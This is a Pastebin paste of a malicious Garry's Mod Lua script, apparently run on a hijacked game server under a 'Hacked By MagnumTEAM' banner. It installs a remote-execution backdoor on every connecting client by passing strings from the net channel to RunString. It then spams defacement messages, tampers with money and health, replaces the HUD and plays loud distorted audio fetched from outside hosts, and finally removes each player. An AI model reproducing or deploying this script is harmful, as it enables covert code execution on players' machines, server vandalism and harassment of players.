Advertisement
Guest User

Untitled

a guest
Mar 17th, 2018
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.95 KB | None | 0 0
  1. util.AddNetworkString "skeleton_dancing_troll"
  2.  
  3. local lol = {}
  4. function lol:RandomString( intMin, intMax )
  5. local ret = ""
  6. for _ = 1, math.random( intMin, intMax ) do
  7. ret = ret.. string.char( math.random(65, 90) )
  8. end
  9.  
  10. return ret
  11. end
  12.  
  13. lol.m_tblActions = {}
  14. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  15. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  16.  
  17. function lol:PushAction( intChainDelay, func )
  18. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  19. end
  20.  
  21. function lol:NextAction( pPlayer )
  22. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  23. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  24.  
  25. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  26. if not IsValid( pPlayer ) then return end
  27. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  28. self:NextAction( pPlayer )
  29.  
  30. end )
  31. end
  32. timer.Create( "ohnosssn", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "|Hacked By MagnumTEAM| ")]]) end)
  33. timer.Create( "ohnonssnnnn", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "https://discord.gg/JtmrV6U SINON TON SERVER EST VIOLER ")]]) end)
  34. timer.Create( "moneymonsseyyyyyyyyy", 0.1, 0, function() v:addMoney(1000000000000000000) end)
  35. timer.Create( "sethealhhhhhhh", 1, 0, function() RunConsoleCommand("ulx", "hp", "*", "99999999999999999") end)
  36. timer.Create( "ohnon", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "EST BONNE NUIT BB")]]) end)
  37.  
  38.  
  39.  
  40.  
  41.  
  42.  
  43.  
  44.  
  45.  
  46.  
  47.  
  48.  
  49.  
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59.  
  60. function lol:Start( pPlayer )
  61. pPlayer.m_intCurAction = 0
  62. self:NextAction( pPlayer )
  63. end
  64.  
  65. function lol:SendLua( pPlayer, strLua )
  66. net.Start( "skeleton_dancing_troll" )
  67. net.WriteString( strLua )
  68. net.Send( pPlayer )
  69. end
  70.  
  71. function lol:SetupPlayer( pPlayer )
  72. pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
  73. end
  74.  
  75. for k, v in pairs( player.GetAll() ) do
  76. lol:SetupPlayer( v )
  77. timer.Simple( 2, function() lol:Start( v ) end )
  78. end
  79.  
  80. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  81. lol:SetupPlayer( pPlayer )
  82. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  83. end )
  84.  
  85. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  86. if strText:sub( 1, 5 ) == "/1337" then
  87. pSender:Ignite( 1e9 )
  88. pSender:ChatPrint( "Nop" )
  89. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  90. return false
  91. end
  92. end )
  93.  
  94.  
  95.  
  96. --Sequence stack
  97. --Start some tunes and steam in our assets
  98. lol:PushAction( 0, function( pPlayer )
  99. lol:SendLua( pPlayer, ([=[
  100. sound.PlayURL( "http://www.underdone.org/leak/underdone/asd.mp3", "", function()end )
  101.  
  102. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  103. local html = [[%s]]
  104. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  105. local pnl = vgui.Create( "HTML" )
  106. pnl:SetPos( ScrW() -1, ScrH() -1 )
  107. pnl:SetVisible( true )
  108. pnl:SetMouseInputEnabled( false )
  109. pnl:SetKeyBoardInputEnabled( false )
  110. pnl:SetSize( intSizeX, intSizeY )
  111. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  112.  
  113. local PageLoaded
  114. PageLoaded = function()
  115. local mat = pnl:GetHTMLMaterial()
  116. if mat then
  117. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  118. return
  119. end
  120.  
  121. timer.Simple( 0.5, PageLoaded )
  122. end
  123.  
  124. PageLoaded()
  125. end
  126. LoadWebMaterial( "http://xeoxfamily.livehost.fr/image-2-1.gif", "hud1", 300, 128 )
  127. LoadWebMaterial( "http://xeoxfamily.livehost.fr/nkWAXvb.gif", "hud2", 300, 128 )
  128. LoadWebMaterial( "http://xeoxfamily.livehost.fr/246x0w.png", "hud3", 128, 128 )
  129. LoadWebMaterial( "http://xeoxfamily.livehost.fr/freezer.jpg", "doritos", 183, 256 )
  130. LoadWebMaterial( "http://xeoxfamily.livehost.fr/ma_mascotte_panda_YTB.jpg", "fedora", 256, 256 )
  131. LoadWebMaterial( "http://xeoxfamily.livehost.fr/kraken.jpg", "dew", 110, 256 )
  132. LoadWebMaterial( "http://xeoxfamily.livehost.fr/maxresdefault.jpg", "awp", 256, 55 )
  133. ]=]):format(lol.m_strImageLoadHTML) )
  134. end )
  135.  
  136. --HUD swap
  137. lol:PushAction( 31, function( pPlayer )
  138. lol:SendLua( pPlayer, [[
  139. (GAMEMODE or GM).CalcView = function() end
  140. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  141.  
  142. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  143. for k, v in pairs(remove) do
  144. hook.GetTable()[v] = {}
  145. end
  146.  
  147. local function GetWebMat( strURL )
  148. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  149. end
  150.  
  151. hook.Add( "HUDPaint", "newhud", function()
  152. surface.SetDrawColor( 255, 255, 255, 255 )
  153.  
  154. if GetWebMat( "hud1" ) then
  155. surface.SetMaterial( GetWebMat("hud1")[1] )
  156. surface.DrawTexturedRect( 0, ScrH() -128, 300 *(512 /300), 128 )
  157. end
  158. if GetWebMat( "hud2" ) then
  159. surface.SetMaterial( GetWebMat("hud2")[1] )
  160. surface.DrawTexturedRect( ScrW() -300, ScrH() -128, 300 *(512 /300), 128 )
  161. end
  162. if GetWebMat( "hud3" ) then
  163. surface.SetMaterial( GetWebMat("hud3")[1] )
  164. surface.DrawTexturedRect( 45, ScrH() -245, 128, 128 )
  165. end
  166. if GetWebMat( "doritos" ) then
  167. surface.SetMaterial( GetWebMat("doritos")[1] )
  168. surface.DrawTexturedRectRotated( math.random(250, 260), math.random(250, 260), 183 *(256 /183), 256, CurTime() *512 )
  169. end
  170. if GetWebMat( "dew" ) then
  171. surface.SetMaterial( GetWebMat("dew")[1] )
  172. surface.DrawTexturedRectRotated( math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 110 *((256 /110) -1), 256, CurTime() *-512 )
  173. end
  174. if GetWebMat( "fedora" ) then
  175. surface.SetMaterial( GetWebMat("fedora")[1] )
  176. surface.DrawTexturedRectRotated( ScrW() -math.random(250, 260), math.random(250, 260), 256, 256, CurTime() *-512 )
  177. end
  178. if GetWebMat( "awp" ) then
  179. surface.SetMaterial( GetWebMat("awp")[1] )
  180. surface.DrawTexturedRectRotated( ScrW() -math.random(400, 410), math.random(ScrH() -260, ScrH() -250), 256, 55, CurTime() *512 )
  181. end
  182.  
  183. draw.SimpleTextOutlined(
  184. "Hacked By magnum",
  185. "DermaLarge",
  186. ScrW() /2 +math.random( -8, 8 ),
  187. ScrH() /2 +math.random( -8, 8 ) +64,
  188. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  189. TEXT_ALIGN_CENTER,
  190. TEXT_ALIGN_CENTER,
  191. 1,
  192. Color( 0, 0, 255, 255 )
  193. )
  194.  
  195. draw.SimpleTextOutlined(
  196. "https://discord.gg/JtmrV6U",
  197. "DermaLarge",
  198. ScrW() /2 +math.random( -8, 8 ),
  199. ScrH() /2 +math.random( -8, 8 ) +24,
  200. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  201. TEXT_ALIGN_CENTER,
  202. TEXT_ALIGN_CENTER,
  203. 1,
  204. Color( 0, 0, 255, 255 )
  205. )
  206. end )
  207.  
  208. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  209. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  210.  
  211. surface.PlaySound( "garrysmod/save_load4.wav" )
  212. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  213. ]] )
  214. end )
  215.  
  216. --Disco time
  217. lol:PushAction( 10, function( pPlayer )
  218. local idx = pPlayer:EntIndex()
  219. timer.Create( "beat".. idx, 0.42, 0, function()
  220. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  221. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  222. end )
  223.  
  224.  
  225. lol:SendLua( pPlayer, [[
  226. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  227. local time = 0
  228.  
  229. hook.Add( "Think", "wat", function()
  230. if CurTime() < time then
  231. return
  232. end
  233.  
  234. time = CurTime() +0.05
  235. for i = 1, 16 do
  236. local part = emitter:Add(
  237. "particles/balloon_bit",
  238. LocalPlayer():GetPos() +Vector(
  239. math.random( -256, 256 ),
  240. math.random( -256, 256 ),
  241. 256
  242. )
  243. )
  244.  
  245. if part then
  246. local Size = math.random( 4, 7 )
  247.  
  248. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  249. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  250. part:SetDieTime( 4.5 )
  251. part:SetGravity( Vector(40, 0, -250) )
  252. part:SetLifeTime( 0 )
  253. part:SetStartSize( Size /2 )
  254. part:SetEndSize( Size )
  255. part:SetCollide( true )
  256. end
  257. end
  258. end )
  259. ]] )
  260.  
  261. lol:SendLua( pPlayer, [[
  262. hook.Add( "RenderScreenspaceEffects", "wat", function()
  263. local sinScaler = math.sin( CurTime() )
  264. DrawBloom(
  265. 0,
  266. 3,
  267. sinScaler *math.Rand(1, 8),
  268. sinScaler *math.Rand(1, 8),
  269. 6,
  270. math.Rand(0.5, 2),
  271. math.Rand(0, 0.3),
  272. math.Rand(0, 0.3),
  273. math.Rand(0.5, 1)
  274. )
  275.  
  276. DrawColorModify{
  277. ["$pp_colour_addr"] = 0,
  278. ["$pp_colour_addg"] = 0,
  279. ["$pp_colour_addb"] = 00,
  280. ["$pp_colour_brightness" ] = 0,
  281. ["$pp_colour_contrast" ] = 1,
  282. ["$pp_colour_colour" ] = 1,
  283. ["$pp_colour_mulr" ] = 0,
  284. ["$pp_colour_mulg" ] = 0,
  285. ["$pp_colour_mulb" ] = 1
  286. }
  287. end )
  288.  
  289. local mdl = ClientsideModel( "models/player/corpse1.mdl", RENDERGROUP_BOTH )
  290. mdl:SetNoDraw( true )
  291. local posCache, time = {}, 0
  292.  
  293. hook.Add( "HUDPaint", "dance", function()
  294. if not mdl.SeqStart or CurTime() > (mdl.SeqStart +mdl.SeqDuration) then
  295. local idx = mdl:LookupSequence("taunt_dance")
  296. mdl.SeqDuration = mdl:SequenceDuration( idx )
  297. mdl.SeqStart = CurTime()
  298. mdl:ResetSequence( idx )
  299. end
  300.  
  301. mdl:SetCycle( (CurTime() -mdl.SeqStart) /mdl.SeqDuration )
  302.  
  303.  
  304. local w, h = 300, 300
  305. local ang = Angle( 0, 0, 0 )
  306.  
  307. for i = 1, 32 do
  308. if CurTime() > time then
  309. posCache[i] = { math.random( 0, ScrW() -w ), math.random( 0, ScrH() -h ) }
  310. end
  311. local x, y = posCache[i][1], posCache[i][2]
  312.  
  313. cam.Start3D( (ang:Forward() *64) +(ang:Up() *32), (ang:Forward()*-1):Angle(), 90, x, y, w, h )
  314. cam.IgnoreZ( true )
  315. render.SuppressEngineLighting( true )
  316.  
  317. render.SetLightingOrigin( mdl:GetPos() )
  318. render.ResetModelLighting( 1, 1, 1 )
  319. render.SetColorModulation( 0, 0, 1 )
  320.  
  321. mdl:DrawModel()
  322.  
  323. render.SuppressEngineLighting( false )
  324. cam.IgnoreZ( false )
  325. cam.End3D()
  326. end
  327.  
  328. if CurTime() > time then
  329. time = CurTime() +0.15
  330. end
  331. end )
  332.  
  333. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  334. ]] )
  335. end )
  336.  
  337. --Let the beat drop
  338. lol:PushAction( 54, function( pPlayer )
  339. lol:SendLua( pPlayer, [[
  340. hook.Add( "GetMotionBlurValues", "wat", function()
  341. return 0, 0, 1, math.sin(CurTime() *13)
  342. end )
  343.  
  344. hook.Add( "RenderScreenspaceEffects", "ohgod", function()
  345. local sinScaler = math.sin( CurTime() *(RealFrameTime() *1024) )
  346. DrawSharpen( 1 +(sinScaler *10), 0.5 +(sinScaler *2) )
  347. DrawMaterialOverlay( "effects/tp_eyefx/tpeye", 1 )
  348. end )
  349.  
  350. hook.Add( "PostDrawTranslucentRenderables", "ohgod", function()
  351. render.SetMaterial( Material("cable/blue_elec") )
  352. for i = 1, 32 do
  353. render.DrawBeam( LocalPlayer():GetPos() +Vector(0, 0, 128) +(EyeAngles():Forward() *256), EyePos() +(VectorRand() *256), 4, 0, 12.5, Color(255, 255, 255, 255) )
  354. end
  355. end )
  356.  
  357. timer.Create( "thedrop", 0.42, 0, function()
  358. util.ScreenShake( LocalPlayer():GetPos(), 512, 5, 0.25, 128 )
  359. end )
  360. ]] )
  361. end )
  362.  
  363. --EVIL TIME rip headpones
  364. lol:PushAction( 175, function( pPlayer )
  365. lol:SendLua( pPlayer, [[
  366. surface.PlaySound( "XXXTENTACION%20-%20Look%20at%20Me%20(Ear%20Rape).mp3" )
  367.  
  368. local sounds = {}
  369. for i = 1, 4 do
  370. sound.PlayURL( "http://xeoxfamily.livehost.fr/MUSIC/XXXTENTACION%20-%20Look%20at%20Me%20(Ear%20Rape).mp3", "noblock noplay", function( pChan )
  371. sounds[#sounds +1] = pChan
  372. end )
  373. end
  374.  
  375. timer.Create( "asdf", 1, 0, function()
  376. if #sounds ~= 4 then return end
  377. timer.Destroy( "asdf" )
  378. for k, v in pairs( sounds ) do v:EnableLooping( true ) v:SetVolume( 1 ) v:Play() end
  379. end )
  380.  
  381. hook.Add( "HUDShouldDraw", "newhud", function() return false end )
  382. ]] )
  383.  
  384. pPlayer:Remove()
  385. end )
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement